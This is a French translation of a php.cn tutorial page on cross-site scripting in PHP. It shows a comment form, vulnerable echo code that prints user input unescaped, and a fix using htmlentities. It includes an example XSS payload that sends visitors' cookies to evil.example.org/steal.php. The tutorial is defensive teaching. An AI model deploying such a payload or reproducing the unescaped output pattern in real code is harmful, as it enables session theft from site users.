Maison > développement back-end > tutoriel php > Attaque de script de sécurité PHP entre sites

Attaque de script de sécurité PHP entre sites

黄舟
Libérer: 2023-03-05 22:10:02
original
2153 Les gens l'ont consulté



Attaque de script cross-site

L'attaque de script cross-site est l'une des une méthode d’attaque bien connue. Les applications Web sur toutes les plateformes sont confrontées à ce problème, et les applications PHP ne font pas exception.

Toutes les applications avec entrée sont à risque. Webmail, forums, livres d'or et même blogs. En fait, la plupart des applications Web fournissent des informations dans le but d'attirer plus de personnes, mais en même temps, cela se met également en danger. Des vulnérabilités de script intersite se produisent lorsque les entrées ne sont pas correctement nettoyées et échappées.

Prenons comme exemple une application qui permet de saisir des commentaires sur chaque page. Elle utilise le formulaire suivant pour aider les utilisateurs à soumettre :

CODE :

<form action="comment.php" method="POST"
/>
  <p>Name: <input type="text" name="name"
/><br />
  Comment: <textarea name="comment" rows="10"
cols="60"></textarea><br />
  <input type="submit" value="Add Comment"
/></p>
  </form>
Copier après la connexion


Le programme visite cette page pour d'autres d'utilisateurs affichant des commentaires. Par exemple, un extrait de code comme celui-ci peut être utilisé pour générer un commentaire ($comment) et son auteur correspondant ($name) :

CODE :

<?php
 
  echo "<p>$name writes:<br />";
  echo
"<blockquote>$comment</blockquote></p>";
 
  ?>
Copier après la connexion


Ce processus prend pleinement en compte les valeurs de $comment et $ nom Trust, imaginez que le contenu de l'un d'eux contienne le code suivant :

CODE :

<script>
  document.location =
    &#39;http://evil.example.org/steal.php?cookies=&#39;
+
    document.cookie
  </script>
Copier après la connexion


Si vos utilisateurs voient ce commentaire, cela revient à autoriser d'autres personnes à ajouter du code Javascript au programme source de votre site Web. Vos utilisateurs enverront sans le savoir leurs cookies à evil.example.org et le programme récepteur (steal.php) pourra accéder à tous les cookies via la variable $_GET['cookies'] .

Il s’agit d’une erreur courante causée principalement par de mauvaises habitudes de programmation. Heureusement, de telles erreurs sont faciles à éviter. Étant donné que ce risque ne se produit que lorsque vous produisez des données contaminées, assurez-vous simplement de filtrer l'entrée et d'échapper à la sortie comme décrit au chapitre 1

Au moins vous devez utiliser des htmlentities( ) pour échapper à toutes les données que vous souhaitez envoyer au client. Cette fonction peut convertir tous les caractères spéciaux en représentation HTML. Une fois que tous les caractères qui amèneront le navigateur à effectuer un traitement spécial ont été convertis, il est possible de garantir que le contenu initialement saisi est affiché.

Il est donc plus sûr d'utiliser le code suivant pour afficher les commentaires :

CODE :

<?php
 
  $clean = array();
  $html = array();
 
  /* Filter Input ($name, $comment) */
 
  $html[&#39;name&#39;] = htmlentities($clean[&#39;name&#39;],
ENT_QUOTES, &#39;UTF-8&#39;);
  $html[&#39;comment&#39;] = htmlentities($clean[&#39;comment&#39;],
ENT_QUOTES, &#39;UTF-8&#39;);
 
  echo "<p>{$html[&#39;name&#39;]} writes:<br
/>";
  echo
"<blockquote>{$html[&#39;comment&#39;]}</blockquote></p>";
 
  ?>
Copier après la connexion

Ce qui précède est le contenu de l'attaque de script intersite de sécurité PHP. Pour plus de contenu connexe, veuillez prêter attention à. le site PHP chinois (www .php.cn) !


Étiquettes associées:
source:php.cn
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal